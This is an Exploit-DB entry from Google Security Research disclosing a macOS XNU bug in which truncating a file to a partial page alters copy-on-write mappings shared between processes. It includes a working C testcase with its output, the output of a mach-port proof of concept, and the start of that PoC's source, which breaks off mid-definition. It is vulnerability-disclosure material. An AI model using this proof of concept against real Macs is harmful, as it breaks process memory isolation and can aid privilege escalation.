Exploit-DB #46296
Description: macOS XNU - Copy-on-Write Behaviour Bypass via Partial-Page Truncation of File
Type: dos
Platform: macos
Date: 2019-01-31
Author: Google Security Research

Exploit:
/*
XNU has various interfaces that permit creating copy-on-write copies of data
between processes, including out-of-line message descriptors in mach messages.
It is important that the copied memory is protected against later modifications
by the source process; otherwise, the source process might be able to exploit
double-reads in the destination process.

This copy-on-write behavior works not only with anonymous memory, but also with
file mappings. This means that, if the filesystem mutates the file contents
(e.g. because the ftruncate() syscall was used), the filesystem must inform the
memory management subsystem so that affected pages can be deduplicated.
If this doesn't happen, that's a security bug.


ubc_setsize_ex() roughly has the following logic:

Step 1: If the file grows or stays at the same size, do nothing and return.
Step 2: If the new file size is not divisible by the page size, zero out the end
        of the page that is now at the end of the file.
Step 3: If there are pages that were previously part of the file but aren't
        anymore, tell the memory management subsystem to invalidate them.
Step 4: Return.

Step 2 is implemented as follows:

===========
        /*
         * new EOF ends up in the middle of a page
         * zero the tail of this page if it's currently
         * present in the cache
         
        kret = ubc_create_upl_kernel(vp, lastpg, PAGE_SIZE, &upl, &pl, UPL_SET_LITE, VM_KERN_MEMORY_FILE);

        if (kret != KERN_SUCCESS)
                panic("ubc_setsize: ubc_create_upl (error = %d)\n", kret);

        if (upl_valid_page(pl, 0))
                cluster_zero(upl, (uint32_t)lastoff, PAGE_SIZE - (uint32_t)lastoff, NULL);

        ubc_upl_abort_range(upl, 0, PAGE_SIZE, UPL_ABORT_FREE_ON_EMPTY);
===========

Call graph:

ubc_create_upl_kernel(uplflags=UPL_SET_LITE)
-> memory_object_upl_request(cntrl_flags=UPL_SET_LITE|UPL_NO_SYNC|UPL_CLEAN_IN_PLACE|UPL_SET_INTERNAL)
-> vm_object_upl_request(cntrl_flags=UPL_SET_LITE|UPL_NO_SYNC|UPL_CLEAN_IN_PLACE|UPL_SET_INTERNAL)

vm_object_upl_request() can perform COW deduplication, but only if the
UPL_WILL_MODIFY flag is set, which isn't set here.


A simple testcase:

===========
$ cat buggycow2.c 
#include <sys/mman.h>
#include <fcntl.h>
#include <err.h>
#include <stdio.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <unistd.h>

int main(void) {
 setbuf(stdout, NULL);

 int fd = open("testfile", O_RDWR|O_CREAT|O_TRUNC, 0600);
 if (fd == -1) err(1, "open");
 if (ftruncate(fd, 0x4000)) err(1, "ftruncate 1");
 char *mapping = mmap(NULL, 0x4000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
 if (mapping == MAP_FAILED) err(1, "mmap");
 *(unsigned int *)(mapping + 0x3000) = 0x41414141;

 pointer_t cow_mapping;
 mach_msg_type_number_t cow_mapping_size;
 if (vm_read(mach_task_self(), (vm_address_t)mapping, 0x4000, &cow_mapping, &cow_mapping_size) != KERN_SUCCESS) errx(1, "vm read");
 if (cow_mapping_size != 0x4000) errx(1, "vm read size");
 printf("orig: 0x%x cow: 0x%x\n", *(unsigned int *)(mapping + 0x3000), *(unsigned int *)(cow_mapping+0x3000));

 if (ftruncate(fd, 0x3001)) err(1, "ftruncate 2");

 printf("orig: 0x%x cow: 0x%x\n", *(unsigned int *)(mapping + 0x3000), *(unsigned int *)(cow_mapping+0x3000));
}
$ cc -o buggycow2 buggycow2.c 
$ ./buggycow2
orig: 0x41414141 cow: 0x41414141
orig: 0x41 cow: 0x41
$
===========


To demonstrate that this also works with out-of-line memory sent over mach
ports, I am attaching a more complicated PoC that was mostly written by Ian.
It sends an out-of-line descriptor over a mach port, then changes the memory
seen by the recipient.

Usage:

===========
$ cc -o mach_truncate_poc mach_truncate_poc.c
$ ./mach_truncate_poc
[+] child got stashed port
[+] child sent hello message to parent over shared port
[+] parent received hello message from child
[+] child restored stolen port
[+] file created
[+] child sent message to parent
[+] parent got an OOL descriptor for 4000 bytes, mapped COW at: 0x10c213000
[+] parent reads: 41414141
[+] telling child to try to change what I see!
[+] child received ping to start trying to change the OOL memory!
[+] child called ftruncate()
[+] parent got ping message from child, lets try to read again...
[+] parent reads: 00000041
$
===========

The simple testcase was tested on 10.14.1 18B75.
*/

#define RAM_GB 16ULL
#define SIZE ((RAM_GB+4ULL) * 1024ULL * 1024ULL * 1024ULL)

#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>

#include <sys/mman.h>
#include <sys/stat.h>

#include <libkern/OSAtomic.h>
#include <mach/mach.h>
#include <mach/mach_error.h>
#include <mach/mach_vm.h>
#include <mach/task.h>
#include <mach/task_special_ports.h>

#define MACH_ERR(str, err) do { \
  if (err != KERN_SUCCESS) {    \
    mach_error("[-]" str "\n", err); \
    exit(EXIT_FAILURE);         \
  }                             \
} while(0)

#define FAIL(str) do { \
  printf("[-] " str "\n");  \
  exit(EXIT_FAILURE);  \
} while (0)

#define LOG(str) do { \
  printf("[+] " str"\n"); \
} while (0)

/***************
 * port dancer *
 ***************/

// set up a shared mach port pair from a child process back to its parent without using launchd
// based on the idea outlined by Robert Sesek here: https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html

// mach message for sending a port right
typedef struct {
  mach_msg_header_t header;
  mach_msg_body_t body;
  mach_msg_port_descriptor_t port;
} port_msg_send_t;

// mach message for receiving a port right
typedef struct {
  mach_msg_header_t header;
  mach_msg_body_t body;
  mach_msg_port_descriptor_t port;
  mach_msg_trailer_t trailer;
} port_msg_rcv_t;

typedef struct {
  mach_msg_header_t  header;
} simple_msg_send_t;

typedef struct {